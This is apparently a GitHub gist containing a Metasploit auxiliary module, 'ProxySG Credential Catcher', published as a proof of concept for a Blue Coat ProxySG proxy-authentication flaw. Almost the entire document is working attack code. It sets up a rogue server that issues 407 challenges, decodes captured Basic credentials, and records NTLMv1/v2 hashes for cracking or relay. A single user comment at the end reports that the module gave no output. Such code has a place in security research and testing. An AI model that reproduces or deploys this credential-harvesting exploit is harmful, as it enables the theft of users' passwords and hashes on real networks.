Last active
April 4, 2016 15:40
-
-
Save gabemarshall/150d9f29445382a20346 to your computer and use it in GitHub Desktop.
PoC for Bluecoat ProxySG Auth Challenge Vulnerability
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# This module requires Metasploit: http://metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
# A fork of http ntlm capture module | |
# ProxySG SA97 | |
# https://bto.bluecoat.com/security-advisory/sa93 | |
## | |
require 'msf/core' | |
require 'rex/proto/ntlm/constants' | |
require 'rex/proto/ntlm/message' | |
require 'rex/proto/ntlm/crypt' | |
NTLM_CONST = Rex::Proto::NTLM::Constants | |
NTLM_CRYPT = Rex::Proto::NTLM::Crypt | |
MESSAGE = Rex::Proto::NTLM::Message | |
class Metasploit3 < Msf::Auxiliary | |
include Msf::Exploit::Remote::HttpServer::HTML | |
include Msf::Auxiliary::Report | |
def initialize(info = {}) | |
super(update_info(info, | |
'Name' => 'ProxySG Credential Catcher', | |
'Description' => %q{ | |
This module attempts to remotely hijack hashes/credentials exposed by ProxySG's handling of 407 responses in explicit proxy deployments. | |
}, | |
'Author' => | |
[ | |
'Gabe Marshall', | |
], | |
'License' => MSF_LICENSE, | |
'Actions' => | |
[ | |
[ 'WebServer' ] | |
], | |
'PassiveActions' => | |
[ | |
'WebServer' | |
], | |
'DefaultAction' => 'WebServer')) | |
register_options([ | |
OptString.new('AUTHTYPE', [ false, "Enter the type of Proxy Authentication", "(NTLM, BASIC, etc)" ]), | |
OptString.new('REALM', [ false, "Enter the desired realm (if using AUTHTYPE BASIC)", "foo.bar"]), | |
OptString.new('CHALLENGE',[ true, "The 8 byte challenge ", "1122334455667788" ]) | |
], self.class) | |
register_advanced_options([ | |
OptString.new('DOMAIN', [ false, "The default domain to use for NTLM authentication", "DOMAIN"]), | |
OptString.new('SERVER', [ false, "The default server to use for NTLM authentication", "SERVER"]), | |
OptString.new('DNSNAME', [ false, "The default DNS server name to use for NTLM authentication", "SERVER"]), | |
OptString.new('DNSDOMAIN', [ false, "The default DNS domain name to use for NTLM authentication", "example.com"]), | |
OptBool.new('FORCEDEFAULT', [ false, "Force the default settings", false]) | |
], self.class) | |
end | |
def on_request_uri(cli, request) | |
vprint_status("Request '#{request.uri}'") | |
case request.method | |
when 'OPTIONS' | |
process_options(cli, request) | |
else | |
vprint_status("Debug: Request Headers =>") | |
request.headers.each do |key, val| | |
vprint_status("#{key}, #{val}") | |
end | |
if(!request.headers['Proxy-Authorization']) | |
vprint_status("Got a 407 from '#{request.uri}'") | |
response = create_response(407, "Proxy Authentication Required") | |
if (datastore['AUTHTYPE'] == "NTLM") | |
response.headers['Proxy-Authenticate'] = "NTLM" | |
else | |
realm = datastore['REALM'] | |
response.headers['Proxy-Authenticate'] = "BASIC realm =#{realm}" | |
end | |
cli.send_response(response) | |
else | |
method,hash = request.headers['Proxy-Authorization'].split(/\s+/,2) | |
if (datastore['AUTHTYPE'] == "BASIC") | |
creds = Rex::Text.decode_base64(hash) | |
print_status("Captured Creds:#{creds}") | |
else | |
vprint_status("Continuing challenge for '#{request.uri}'") | |
end | |
response = handle_auth(cli,hash) | |
cli.send_response(response) | |
end | |
end | |
end | |
def run | |
if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/ | |
@challenge = [ datastore['CHALLENGE'] ].pack("H*") | |
else | |
print_error("CHALLENGE syntax must match 1122334455667788") | |
return | |
end | |
exploit() | |
end | |
def process_options(cli, request) | |
print_status("OPTIONS #{request.uri}") | |
headers = { | |
'MS-Author-Via' => 'DAV', | |
'DASL' => '<DAV:sql>', | |
'DAV' => '1, 2', | |
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', | |
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', | |
'Cache-Control' => 'private' | |
} | |
resp = create_response(207, "Multi-Status") | |
headers.each_pair {|k,v| resp[k] = v } | |
resp.body = "" | |
resp['Content-Type'] = 'text/xml' | |
cli.send_response(resp) | |
end | |
def handle_auth(cli,hash) | |
#authorization string is base64 encoded message | |
message = Rex::Text.decode_base64(hash) | |
if(message[8,1] == "\x01") | |
domain = datastore['DOMAIN'] | |
server = datastore['SERVER'] | |
dnsname = datastore['DNSNAME'] | |
dnsdomain = datastore['DNSDOMAIN'] | |
if(!datastore['FORCEDEFAULT']) | |
dom,ws = parse_type1_domain(message) | |
if(dom) | |
domain = dom | |
end | |
if(ws) | |
server = ws | |
end | |
end | |
response = create_response(407, "Proxy Authentication Required") | |
chalhash = MESSAGE.process_type1_message(hash,@challenge,domain,server,dnsname,dnsdomain) | |
response.headers['Proxy-Authenticate'] = "NTLM " + chalhash | |
return response | |
#if the message is a type 3 message, then we have our creds | |
elsif(message[8,1] == "\x03") | |
vprint_status("Debug: Type 3 detected") | |
domain,user,host,lm_hash,ntlm_hash = MESSAGE.process_type3_message(hash) | |
nt_len = ntlm_hash.length | |
if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session | |
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, | |
:lm_hash => lm_hash, | |
:nt_hash => ntlm_hash | |
} | |
if arg[:lm_hash][16,32] == '0' * 32 | |
arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE | |
end | |
#if the length of the ntlm response is not 24 then it will be bigger and represent | |
# a ntlmv2 response | |
elsif nt_len > 48 #lmv2/ntlmv2 | |
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, | |
:lm_hash => lm_hash[0, 32], | |
:lm_cli_challenge => lm_hash[32, 16], | |
:nt_hash => ntlm_hash[0, 32], | |
:nt_cli_challenge => ntlm_hash[32, nt_len - 32] | |
} | |
elsif nt_len == 0 | |
print_status("Empty hash from #{host} captured, ignoring ... ") | |
else | |
print_status("Unknown hash type from #{host}, ignoring ...") | |
end | |
# If we get an empty hash, or unknown hash type, arg is not set. | |
# So why try to read from it? | |
if not arg.nil? | |
arg[:host] = host | |
arg[:user] = user | |
arg[:domain] = domain | |
arg[:ip] = cli.peerhost | |
html_get_hash(arg) | |
end | |
response = create_response(200) | |
response.headers['Cache-Control'] = "no-cache" | |
return response | |
else | |
response = create_response(200) | |
response.headers['Cache-Control'] = "no-cache" | |
return response | |
end | |
end | |
def parse_type1_domain(message) | |
domain = nil | |
workstation = nil | |
reqflags = message[12,4] | |
reqflags = reqflags.unpack("V").first | |
if((reqflags & NTLM_CONST::NEGOTIATE_DOMAIN) == NTLM_CONST::NEGOTIATE_DOMAIN) | |
dom_len = message[16,2].unpack('v')[0].to_i | |
dom_off = message[20,2].unpack('v')[0].to_i | |
domain = message[dom_off,dom_len].to_s | |
end | |
if((reqflags & NTLM_CONST::NEGOTIATE_WORKSTATION) == NTLM_CONST::NEGOTIATE_WORKSTATION) | |
wor_len = message[24,2].unpack('v')[0].to_i | |
wor_off = message[28,2].unpack('v')[0].to_i | |
workstation = message[wor_off,wor_len].to_s | |
end | |
return domain,workstation | |
end | |
def html_get_hash(arg = {}) | |
ntlm_ver = arg[:ntlm_ver] | |
if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE | |
lm_hash = arg[:lm_hash] | |
nt_hash = arg[:nt_hash] | |
else | |
lm_hash = arg[:lm_hash] | |
nt_hash = arg[:nt_hash] | |
lm_cli_challenge = arg[:lm_cli_challenge] | |
nt_cli_challenge = arg[:nt_cli_challenge] | |
end | |
domain = arg[:domain] | |
user = arg[:user] | |
host = arg[:host] | |
ip = arg[:ip] | |
unless @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash then | |
@previous_lm_hash = lm_hash | |
@previous_ntlm_hash = nt_hash | |
# Check if we have default values (empty pwd, null hashes, ...) and adjust the on-screen messages correctly | |
case ntlm_ver | |
when NTLM_CONST::NTLM_V1_RESPONSE | |
if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, | |
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'ntlm' }) | |
print_status("NLMv1 Hash correspond to an empty password, ignoring ... ") | |
return | |
end | |
if (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then | |
lm_hash_message = "Disabled" | |
elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge, | |
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'lm' }) | |
lm_hash_message = "Disabled (from empty password)" | |
else | |
lm_hash_message = lm_hash | |
lm_chall_message = lm_cli_challenge | |
end | |
when NTLM_CONST::NTLM_V2_RESPONSE | |
if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, | |
:cli_challenge => [nt_cli_challenge].pack("H*"), | |
:user => Rex::Text::to_ascii(user), | |
:domain => Rex::Text::to_ascii(domain), | |
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'ntlm' }) | |
print_status("NTLMv2 Hash correspond to an empty password, ignoring ... ") | |
return | |
end | |
if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16 | |
lm_hash_message = "Disabled" | |
lm_chall_message = 'Disabled' | |
elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge, | |
:cli_challenge => [lm_cli_challenge].pack("H*"), | |
:user => Rex::Text::to_ascii(user), | |
:domain => Rex::Text::to_ascii(domain), | |
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'lm' }) | |
lm_hash_message = "Disabled (from empty password)" | |
lm_chall_message = 'Disabled' | |
else | |
lm_hash_message = lm_hash | |
lm_chall_message = lm_cli_challenge | |
end | |
when NTLM_CONST::NTLM_2_SESSION_RESPONSE | |
if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, | |
:cli_challenge => [lm_hash].pack("H*")[0,8], | |
:ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE, :type => 'ntlm' }) | |
print_status("NTLM2_session Hash correspond to an empty password, ignoring ... ") | |
return | |
end | |
lm_hash_message = lm_hash | |
lm_chall_message = lm_cli_challenge | |
end | |
# Display messages | |
domain = Rex::Text::to_ascii(domain) | |
user = Rex::Text::to_ascii(user) | |
capturedtime = Time.now.to_s | |
case ntlm_ver | |
when NTLM_CONST::NTLM_V1_RESPONSE | |
smb_db_type_hash = "smb_netv1_hash" | |
capturelogmessage = | |
"#{capturedtime}\nNTLMv1 Response Captured from #{host} \n" + | |
"DOMAIN: #{domain} USER: #{user} \n" + | |
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} \nNTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n" | |
when NTLM_CONST::NTLM_V2_RESPONSE | |
smb_db_type_hash = "smb_netv2_hash" | |
capturelogmessage = | |
"#{capturedtime}\nNTLMv2 Response Captured from #{host} \n" + | |
"DOMAIN: #{domain} USER: #{user} \n" + | |
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} " + | |
"LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : "<NULL>"}\n" + | |
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " + | |
"NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : "<NULL>"}\n" | |
when NTLM_CONST::NTLM_2_SESSION_RESPONSE | |
#we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr | |
#also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture | |
smb_db_type_hash = "smb_netv1_hash" | |
capturelogmessage = | |
"#{capturedtime}\nNTLM2_SESSION Response Captured from #{host} \n" + | |
"DOMAIN: #{domain} USER: #{user} \n" + | |
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n" + | |
"NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : "<NULL>"} \n" | |
else # should not happen | |
return | |
end | |
print_status(capturelogmessage) | |
# DB reporting | |
# Rem : one report it as a smb_challenge on port 445 has breaking those hashes | |
# will be mainly use for psexec / smb related exploit | |
report_auth_info( | |
:host => ip, | |
:port => 445, | |
:sname => 'smb_challenge', | |
:user => user, | |
:pass => domain + ":" + | |
( lm_hash + lm_cli_challenge.to_s ? lm_hash + lm_cli_challenge.to_s : "00" * 24 ) + ":" + | |
( nt_hash + nt_cli_challenge.to_s ? nt_hash + nt_cli_challenge.to_s : "00" * 24 ) + ":" + | |
datastore['CHALLENGE'].to_s, | |
:type => smb_db_type_hash, | |
:proof => "DOMAIN=#{domain}", | |
:source_type => "captured", | |
:active => true | |
) | |
end | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Hello did this code worked for you? I have tried it with ntlm and basic with a proxysg vulnerable. The redirect is made and credentials are sent however the exploit doesnt show an output it keeps on listening.